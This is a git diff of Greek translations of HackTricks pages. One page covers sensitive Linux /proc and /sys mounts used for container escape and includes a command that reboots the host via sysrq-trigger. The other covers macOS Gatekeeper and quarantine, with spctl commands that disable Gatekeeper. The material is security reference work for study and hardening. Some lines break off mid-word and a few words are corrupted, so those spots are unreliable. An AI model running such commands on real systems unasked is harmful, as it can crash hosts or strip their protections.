ελέγχει εάν ο πυρήνας κάνει panic ή καλεί τον OOM killer όταν συμβεί μια κατάσταση OOM. #### **`/proc/sys/fs`** * Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων. -* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνησης υπηρεσίας κατά του host. +* Η εγγραφή μπορεί να ενεργοποιήσει διάφορες επιθέσεις αρνητικής υπηρεσίας κατά του host. #### **`/proc/sys/fs/binfmt_misc`** @@ -69,7 +73,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στ #### **`/proc/config.gz`** -* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα εάν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο. +* Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν το `CONFIG_IKCONFIG_PROC` είναι ενεργοποιημένο. * Χρήσιμο για τους επιτιθέμενους για την εντοπισμό ευπαθειών στον τρέχοντα πυρήνα. #### **`/proc/sysrq-trigger`** @@ -88,23 +92,23 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη #### **`/proc/kallsyms`** -* Καταχωρεί σύμβολα πυρήνα που εξάγονται και τις διευθύνσεις τους. +* Καταχωρεί σύμβολα πυρήνα και τις διευθύνσεις τους. * Βασικό για την ανάπτυξη εκμετάλλευσης πυρήνα, ειδικά για την υπέρβαση του KASLR. * Οι πληροφορίες διεύθυνσης περιορίζονται με το `kptr_restrict` ορισμένο σε `1` ή `2`. * Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/[pid]/mem`** -* Αλληλεπιδρά με τη συσκευή μνήμης πυρήνα `/dev/mem`. +* Επικοινωνεί με τη συσκευή μνήμης πυρήνα `/dev/mem`. * Ιστορικά ευάλωτο σε επιθέσεις ανόδου προνομίων. * Περισσότερα στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). #### **`/proc/kcore`** * Αντιπροσωπεύει τη φυσική μνήμη του συστήματος σε μορφή πυρήνα ELF. -* Η ανάγνωση μπορεί να διαρρεύσει το περιεχόμενο μνήμης του φιλοξενητή και άλλων containers. -* Η μεγάλη μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή κολλήματα λογισμικού. -* Λεπτομερείς οδηγίες στο [Απορρόφηση /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). +* Η ανάγνωση μπορεί να διαρρεύσει τα περιεχόμενα μνήμης του φιλοξενητή και άλλων containers. +* Το μεγάλο μέγεθος αρχείου μπορεί να οδηγήσει σε προβλήματα ανάγνωσης ή καταρρεύσεις λογισμικού. +* Λεπτομερής χρήση στο [Απορρόφηση /proc/kcore το 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/). #### **`/proc/kmem`** @@ -114,7 +118,7 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη #### **`/proc/mem`** * Εναλλακτική διεπαφή για το `/dev/mem`, αντιπροσωπεύοντας τη φυσική μνήμη. -* Επιτρέπει ανάγνωση και εγγραφή, η τροποποίηση όλης της μνήμης απαιτεί την ανάλυση ε +* Ε #### **`/sys/class/thermal`** * Ελέγχει τις ρυθμίσεις θερμοκρασίας, προκαλώντας ενδεχομένως επιθέσεις DoS ή φυσικές ζημιές. @@ -130,10 +134,34 @@ echo b > /proc/sysrq-trigger # Επανεκκίνηση του φιλοξενη #### **`/sys/firmware/efi/vars` και `/sys/firmware/efi/efivars`** -* Εκθέτει διεπαφές για την αλληλεπίδραση με τις μεταβλητές EFI στη μνήμη NVRAM. -* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινούμενες μηχανές φιλοξενίας. +* Εκθέτει διεπαφές για την αλληλεπίδραση με μεταβλητές EFI στη μνήμη NVRAM. +* Η εσφαλμένη ρύθμιση ή εκμετάλλευση μπορεί να οδηγήσει σε υπολογιστές φορητούς που δεν εκκινούν ή σε μη εκκινήσιμες μηχανές φιλοξενίας. #### **`/sys/kernel/debug`** * Το `debugfs` προσφέρει μια διεπαφή αποσφαλμάτωσης "χωρίς κανόνες" στον πυρήνα. * Ιστορικό προβλημάτων ασφάλειας λόγω της μη περιορισμένης φύσης του. + +### Αναφορές + +* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts) +* [Κατανόηση και Ενίσχυση των Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf) +* [Κατάχρηση Προνομιούχων και Μη Προνομιούχων Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf) + +
+ +{% embed url="https://websec.nl/" %} + +
+ +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! + +Άλλοι τρόποι υποστήριξης του HackTricks: + +* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) +* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github. + +
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md index 4c1b468bc..19e8db817 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-gatekeeper.md @@ -1,37 +1,47 @@ -# macOS Gatekeeper / Quarantine / XProtect +# macOS Gatekeeper / Καραντίνα / XProtect
-Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! +Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks στο AWS)! -* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks**; Ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! +* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Εγγραφείτε** [**💬**](https://emojipedia.org/speech-balloon/) [**στην ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud) -* -* . +* **Εγγραφείτε στην** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
+
+ +{% embed url="https://websec.nl/" %} + + ## Gatekeeper -Το **Gatekeeper** είναι μια λειτουργία ασφαλείας που αναπτύχθηκε για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να εξασφαλίζει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με τον **έλεγχο του λογισμικού** που ένας χρήστης κατεβάζει και προσπαθεί να ανοίξει από **πηγές εκτός του App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης. +Το **Gatekeeper** είναι μια λειτουργία ασφαλείας που αναπτύχθηκε για τα λειτουργικά συστήματα Mac, σχεδιασμένη για να εξασφαλίζει ότι οι χρήστες **εκτελούν μόνο αξιόπιστο λογισμικό** στα συστήματά τους. Λειτουργεί με τον τρόπο της **επικύρωσης του λογισμικού** που ένας χρήστης κατεβάζει και προσπαθεί να ανοίξει από **πηγές έξω από το App Store**, όπως μια εφαρμογή, ένα πρόσθετο ή ένα πακέτο εγκατάστασης. -Ο βασικός μηχανισμός του Gatekeeper βρίσκεται στη διαδικασία του **έλεγχου**. Ελέγχει εάν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από αναγνωρισμένο προγραμματιστή**, εξασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, ελέγχει εάν το λογισμικό έχει **επικυρωθεί από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει τροποποιηθεί μετά την επικύρωση. +Η κύρια μηχανή του Gatekeeper βρίσκεται στη διαδικασία της **επαλήθευσης**. Ελέγχει αν το κατεβασμένο λογισμικό είναι **υπογεγραμμένο από αναγνωρισμένο προγραμματιστή**, εξασφαλίζοντας την αυθεντικότητα του λογισμικού. Επιπλέον, ελέγχει εάν το λογισμικό έχει **επικυρωθεί από την Apple**, επιβεβαιώνοντας ότι είναι απαλλαγμένο από γνωστό κακόβουλο περιεχόμενο και δεν έχει τροποποιηθεί μετά την επικύρωση. -Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το **ζήτημα έγκρισης από τον χρήστη** για το άνοιγμα του κατεβασμένου λογισμικού για πρώτη φορά. Αυτός ο μηχανισμός ασφαλείας βοηθά να αποτραπεί η ακούσια εκτέλεση πιθανώς επιβλαβούς εκτελέσιμου κώδικα που ο χρήστης μπορεί να έχει παρερμηνεύσει ως ακίνδυνο αρχείο δεδομένων. +Επιπλέον, το Gatekeeper ενισχύει τον έλεγχο και την ασφάλεια του χρήστη με το να **ζητά από τους χρήστες να εγκρίνουν το άνοιγμα** του κατεβασμένου λογισμικού για πρώτη φορά. Αυτό το μέτρο προστασίας βοηθά στην αποτροπή των χρηστών από το να εκτελέσουν κατά λάθος πιθανώς επικίνδυνο εκτελέσιμο κώδικα που θα μπορούσαν να έχουν παρεξηγήσει ως ακίνδυνο αρχείο δεδομένων. ### Υπογραφές Εφαρμογών -Οι υπογραφές εφαρμογών, γνωστές επίσης ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της ασφάλειας της Apple. Χρησιμοποιούνται για να **επαληθεύσουν την ταυτότητα του συγγραφέα του λογισμικού** (του προγραμματιστή) και να εξασφαλίσουν ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία φορά που υπογράφηκε. +Οι υπογραφές εφαρμογών, επίσης γνωστές ως υπογραφές κώδικα, είναι ένα κρίσιμο στοιχείο της υποδομής ασφαλείας της Apple. Χρησιμοποιούνται για τον **έλεγχο της ταυτότητας του συγγραφέα του λογισμικοώ** (του προγραμματιστή) και για τη διασφάλιση ότι ο κώδικας δεν έχει τροποποιηθεί από την τελευταία υπογραφή. -Ας δούμε πώς λειτουργεί: +Έτσι λειτουργεί: -1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας ένα ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που η Apple εκδίδει στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού hash όλων των μερών της εφαρμογής και την κρυπτογράφηση αυτού του hash με το ιδιωτικό κλειδί του προγραμματιστή. +1. **Υπογραφή της Εφαρμογής:** Όταν ένας προγραμματιστής είναι έτοιμος να διανείμει την εφαρμογή του, **υπογράφει την εφαρμογή χρησιμοποιώντας έναν ιδιωτικό κλειδί**. Αυτό το ιδιωτικό κλειδί συσχετίζεται με ένα **πιστοποιητικό που εκδίδει η Apple στον προγραμματιστή** όταν εγγράφεται στο Apple Developer Program. Η διαδικασία υπογραφής περιλαμβάνει τη δημιουργία ενός κρυπτογραφικού κατακερματισμού όλων των τμημάτων της εφαρμογής και την κρυπτογράφηση αυτού του κατακερματισμού με το ιδιωτικό κλειδί του προγραμματιστή. 2. **Διανομή της Εφαρμογής:** Η υπογεγραμμένη εφαρμογή διανέμεται στους χρήστες μαζί με το πιστοποιητικό του προγραμματιστή, που περιέχει το αντίστοιχο δημόσιο κλειδί. -3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει το hash. Στη συνέχεια, υπολογίζει ξανά το hash με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτό με το αποκρυπτογραφημένο hash. Εά +3. **Επαλήθευση της Εφαρμογής:** Όταν ένας χρήστης κατεβάζει και προσπαθεί να εκτελέσει την εφαρμογή, το λειτουργικό σύστημα Mac χρησιμοποιεί το δημόσιο κλειδί από το πιστοποιητικό του προγραμματιστή για να αποκρυπτογραφήσει τον κατακερματισμό. Στη συνέχεια, υπολογίζει ξανά τον κατακερματισμό με βάση την τρέχουσα κατάσταση της εφαρμογής και συγκρίνει αυτόν με τον αποκρυπτογραφημένο κατακερματισμό. Αν ταιριάζουν, σημαίνει ότι **η εφαρμογή δεν έχει τροποποιηθεί** από την τελευταία υπογραφή του προγραμματιστή και το σύστημα επιτρέπει την εκτέλεση της εφαρμογής. +Οι υπογραφές εφαρμογών είναι ένα ουσιώδες μέρος της τεχνολογίας Gatekeeper της Apple. Όταν ένας χρήστης προσπαθεί να **ανοίξει μια εφαρμογή που έχει κατεβάσει από το διαδίκτυο**, το Gatekeeper επαληθεύει την υπογραφή της εφαρμογής. Αν είναι υπογεγραμμένη με ένα πιστοποιητικό που έχει εκδώσει η Apple σε έναν γνωστό προγραμματιστή και ο κώδικας δεν έχει τροποποιηθεί, το Gatekeeper επιτρέπει την εκτέλεση της εφαρμογής. Διαφορετικά, αποκλείει την εφαρμογή και ειδοποιεί τον χρήστη. + +Από το macOS Catalina και μετά, το **Gatekeeper ελέγχει επίσης εάν η εφαρμογή έχει υποβληθεί σε επικύρωση** από την Apple, προσθέτοντας ένα επιπλέον επίπεδο ασφαλείας. Η διαδικασία επικύρωσης ελέγχει την εφαρμογή για γνωστά θέματα ασφαλείας και κακόβουλο κώδικα, και αν αυτοί οι έλεγχοι περάσουν, η Apple προσθέτει ένα εισιτήριο στην εφαρμογή που το Gatekeeper μπορεί να επαληθεύσει. + +#### Έλεγχος Υπογραφών + +Όταν ελέγχετε κάποιο **δείγμα κακόβουλου λογισμικού**, πρέπει πάντα να **ελέγχετε την υπογραφή** του δυαδικού καθώς ο **προγραμματιστής** που το υπέγραψε μπορεί να έχει ήδη **σχέση** με **κακόβουλο λογισμικό**. ```bash # Get signer codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier" @@ -48,36 +58,32 @@ spctl --assess --verbose /Applications/Safari.app # Sign a binary codesign -s toolsdemo ``` - ### Επικύρωση -Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από πιθανά επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να συγχέεται με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που εξετάζει το υποβληθέν λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιαδήποτε πιθανά προβλήματα με την υπογραφή του κώδικα. +Η διαδικασία επικύρωσης της Apple λειτουργεί ως μια επιπλέον προστασία για τους χρήστες από ενδεχόμενο επιβλαβές λογισμικό. Περιλαμβάνει τον **προγραμματιστή να υποβάλει την εφαρμογή του για εξέταση** από την **Υπηρεσία Επικύρωσης της Apple**, η οποία δεν πρέπει να μπερδευτεί με την Αναθεώρηση Εφαρμογών. Αυτή η υπηρεσία είναι ένα **αυτοματοποιημένο σύστημα** που ελέγχει προσεκτικά το υποβαλλόμενο λογισμικό για την παρουσία **κακόβουλου περιεχομένου** και οποιωνδήποτε πιθανών προβλημάτων με την υπογραφή κώδικα. -Εάν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επικύρωσης δημιουργεί ένα εισιτήριο επικύρωσης. Ο προγραμματιστής είναι τότε υποχρεωμένος να **συνδέσει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία που ονομάζεται 'συνδεσμοποίηση'. Επιπλέον, το εισιτήριο επικύρωσης δημοσιεύεται επίσης στο διαδίκτυο, όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει. +Αν το λογισμικό **περάσει** αυτόν τον έλεγχο χωρίς να προκαλέσει ανησυχίες, η Υπηρεσία Επικύρωσης δημιουργεί ένα εισιτήριο επικύρωσης. Στη συνέχεια, ο προγραμματιστής πρέπει να **επισυνάψει αυτό το εισιτήριο στο λογισμικό του**, μια διαδικασία που είναι γνωστή ως 'συρματοστέφανο.' Επιπλέον, το εισιτήριο επικύρωσης δημοσιεύεται επίσης στο διαδίκτυο όπου το Gatekeeper, η τεχνολογία ασφαλείας της Apple, μπορεί να το ανακτήσει. -Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε συνδεδεμένου με το εκτελέσιμο είτε βρεθεί στο διαδίκτυο - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο αρχικό παράθυρο εκκίνησης, που υποδεικνύει ότι το λογισμικό έχει υποβληθεί σε έλεγχο για κακόβουλο περιεχόμενο από την Apple. Με αυτήν τη διαδικασία, ενισχύεται η εμπιστοσύνη των χρηστών στην ασφάλεια του λογισμικού που εγκαθιστούν ή εκτελούν στα συστήματά τους. +Κατά την πρώτη εγκατάσταση ή εκτέλεση του λογισμικού από τον χρήστη, η ύπαρξη του εισιτηρίου επικύρωσης - είτε συρματοστεφανωμένου στο εκτελέσιμο είτε βρίσκεται online - **ενημερώνει το Gatekeeper ότι το λογισμικό έχει επικυρωθεί από την Apple**. Ως αποτέλεσμα, το Gatekeeper εμφανίζει ένα περιγραφικό μήνυμα στο διάλογο αρχικής εκκίνησης, υποδεικνύοντας ότι το λογισμικό έχει υποβληθεί σε έλεγχους για κακόβουλο περιεχόμενο από την Apple. Με αυτήν τη διαδικασία, ενισχύεται η εμπιστοσύνη του χρήστη στην ασφάλεια του λογισμικοϋ που εγκαθιστά ή εκτελεί στα συστήματά του. ### Απαρίθμηση του GateKeeper -Το GateKeeper είναι τόσο **πολλαπλά στοιχεία ασφαλείας** που αποτρέπουν την εκτέλεση μη αξιόπιστων εφαρμογών, όσο και **ένα από τα στοιχεία**. +Το GateKeeper αποτελείται τόσο από **πολλαπλά στοιχεία ασφαλείας** που εμποδίζουν την εκτέλεση μη αξιόπιστων εφαρμογών όσο και από **ένα από τα στοιχεία**. Είναι δυνατόν να δείτε την **κατάσταση** του GateKeeper με: - ```bash # Check the status spctl --status ``` - {% hint style="danger" %} -Σημείωση ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνα**, όχι σε κάθε αρχείο. +Σημειώστε ότι οι έλεγχοι υπογραφής του GateKeeper πραγματοποιούνται μόνο σε **αρχεία με το χαρακτηριστικό Καραντίνας**, όχι σε κάθε αρχείο. {% endhint %} Ο GateKeeper θα ελέγξει αν σύμφωνα με τις **προτιμήσεις και την υπογραφή** μια δυαδική μπορεί να εκτελεστεί: -
- -Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτήν τη βάση δεδομένων ως ριζικός χρήστης με: +
+Η βάση δεδομένων που διατηρεί αυτή τη διαμόρφωση βρίσκεται στο **`/var/db/SystemPolicy`**. Μπορείτε να ελέγξετε αυτή τη βάση δεδομένων ως ριζικός χρήστης με: ```bash # Open database sqlite3 /var/db/SystemPolicy @@ -91,12 +97,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID [...] ``` - -Παρατηρήστε πώς ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από τους εντοπισμένους προγραμματιστές**.\ +Σημειώστε ότι ο πρώτος κανόνας τελείωσε σε "**App Store**" και ο δεύτερος σε "**Developer ID**" και ότι στην προηγούμενη εικόνα ήταν **ενεργοποιημένη η εκτέλεση εφαρμογών από το App Store και από εντοπισμένους προγραμματιστές**.\ Εάν **τροποποιήσετε** αυτήν τη ρύθμιση σε App Store, οι κανόνες "**Notarized Developer ID" θα εξαφανιστούν**. Υπάρχουν επίσης χιλιάδες κανόνες τύπου GKE: - ```bash SELECT requirement,allow,disabled,label from authority where label = 'GKE' limit 5; cdhash H"b40281d347dc574ae0850682f0fd1173aa2d0a39"|1|0|GKE @@ -105,17 +109,13 @@ cdhash H"4317047eefac8125ce4d44cab0eb7b1dff29d19a"|1|0|GKE cdhash H"0a71962e7a32f0c2b41ddb1fb8403f3420e1d861"|1|0|GKE cdhash H"8d0d90ff23c3071211646c4c9c607cdb601cb18f"|1|0|GKE ``` - Αυτά είναι τα hashes που προέρχονται από τα **`/var/db/SystemPolicyConfiguration/gke.bundle/Contents/Resources/gke.auth`, `/var/db/gke.bundle/Contents/Resources/gk.db`** και **`/var/db/gkopaque.bundle/Contents/Resources/gkopaque.db`** -Ή μπορείτε να αναφέρετε τις προηγούμενες πληροφορίες με: - +Ή μπορείτε να καταχωρίσετε τις προηγούμενες πληροφορίες με: ```bash sudo spctl --list ``` - Οι επιλογές **`--master-disable`** και **`--global-disable`** του **`spctl`** θα απενεργοποιήσουν εντελώς αυτούς τους έλεγχους υπογραφής: - ```bash # Disable GateKeeper spctl --global-disable @@ -125,19 +125,15 @@ spctl --master-disable spctl --global-enable spctl --master-enable ``` - Όταν είναι πλήρως ενεργοποιημένο, θα εμφανιστεί μια νέα επιλογή: -
- -Είναι δυνατόν να **ελεγχθεί εάν μια εφαρμογή θα επιτραπεί από το GateKeeper** με: +
+Είναι δυνατόν να **ελεγχθεί αν μια εφαρμογή θα επιτραπεί από το GateKeeper** με: ```bash spctl --assess -v /Applications/App.app ``` - -Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτραπεί η εκτέλεση συγκεκριμένων εφαρμογών με: - +Είναι δυνατόν να προστεθούν νέοι κανόνες στο GateKeeper για να επιτρέπεται η εκτέλεση συγκεκριμένων εφαρμογϽν. ```bash # Check if allowed - nop spctl --assess -v /Applications/App.app @@ -152,29 +148,27 @@ sudo spctl --enable --label "whitelist" spctl --assess -v /Applications/App.app /Applications/App.app: accepted ``` +### Απομόνωση Αρχείων -### Αρχεία Καραντίνας +Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές macOS όπως περιηγητές ιστού ή προγράμματα ηλεκτρονικού ταχυδρομείου **επισυνάπτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**," στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές επισυνάπτουν αυτό το χαρακτηριστικό, για παράδειγμα, τα κοινά προγράμματα πελατών BitTorrent συνήθως παρακάμπτουν αυτήν τη διαδικασία. -Κατά την **λήψη** μιας εφαρμογής ή αρχείου, συγκεκριμένες εφαρμογές του macOS, όπως οι περιηγητές ιστού ή οι πελάτες ηλεκτρονικού ταχυδρομείου, **προσθέτουν ένα επεκτεινόμενο χαρακτηριστικό αρχείου**, γνωστό ως "**σημαία καραντίνας**", στο κατεβασμένο αρχείο. Αυτό το χαρακτηριστικό λειτουργεί ως μέτρο ασφαλείας για να **επισημάνει το αρχείο** ως προερχόμενο από μη έμπιστη πηγή (το διαδίκτυο) και πιθανώς να φέρει κινδύνους. Ωστόσο, όχι όλες οι εφαρμογές προσθέτουν αυτό το χαρακτηριστικό, για παράδειγμα, οι συνηθισμένοι πελάτες BitTorrent παρακάμπτουν συνήθως αυτήν τη διαδικασία. +**Η παρουσία μιας σημαίας καραντίνας ειδοποιεί το χαρακτηριστικό ασφαλείας Gatekeeper του macOS όταν ο χρήστης προσπαθεί να εκτελέσει το αρχείο**. -**Η παρουσία της σημαίας καραντίνας ενημερώνει το χαρακτηριστικό ασφαλείας Gatekeeper του macOS όταν ο χρήστης προσπαθεί να εκτελέσει το αρχείο**. - -Στην περίπτωση που **η σημαία καραντίνας δεν είναι παρούσα** (όπως στα αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι ελέγχοι του Gatekeeper **μπορεί να μην πραγματοποιηθούν**. Επομένως, οι χρήστες πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές. +Στην περίπτωση όπου η **σημαία καραντίνας δεν είναι παρούσα** (όπως με αρχεία που λήφθηκαν μέσω ορισμένων πελατών BitTorrent), οι **έλεγχοι του Gatekeeper ενδέχεται να μην πραγματοποιηθούν**. Έτσι, οι χρήστες πρέπει να είναι προσεκτικοί όταν ανοίγουν αρχεία που έχουν ληφθεί από λιγότερο ασφαλείς ή άγνωστες πηγές. {% hint style="info" %} -Ο **έλεγχος** της **εγκυρότητας** των υπογραφών κώδικα είναι μια διαδικασία που απαιτεί πολλούς πόρους και περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συνοδευτικών πόρων του. Επιπλέον, ο έλεγχος της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή έλεγχο** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος της υπογραφής κώδικα και της επικύρωσης δεν είναι **πρακτικός για να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**. +**Η επαλήθευση** της **εγκυρότητας** των υπογραφών κώδικα είναι μια **επεξεργασία που απαιτεί πολλούς πόρους** και περιλαμβάνει τη δημιουργία κρυπτογραφικών **κατακερματισμών** του κώδικα και όλων των συσκευασμένων πόρων του. Επιπλέον, η επαλήθευση της εγκυρότητας του πιστοποιητικού περιλαμβάνει μια **διαδικτυακή έλεγχο** στους διακομιστές της Apple για να δει αν έχει ανακληθεί μετά την έκδοσή του. Για αυτούς τους λόγους, ο πλήρης έλεγχος υπογραφής κώδικα και επικύρωσης δεν είναι **εφικτός να εκτελείται κάθε φορά που εκκινείται μια εφαρμογή**. -Για αυτόν τον λόγο, αυτοί οι έλεγχοι **εκτελούνται μόνο όταν εκτελούνται εφαρμογές με το χαρακτηριστικό καραντίνας**. +Για τον λόγο αυτό, αυτοί οι έλεγχοι **εκτελούνται μόνο κατά την εκτέλεση εφαρμογών με το 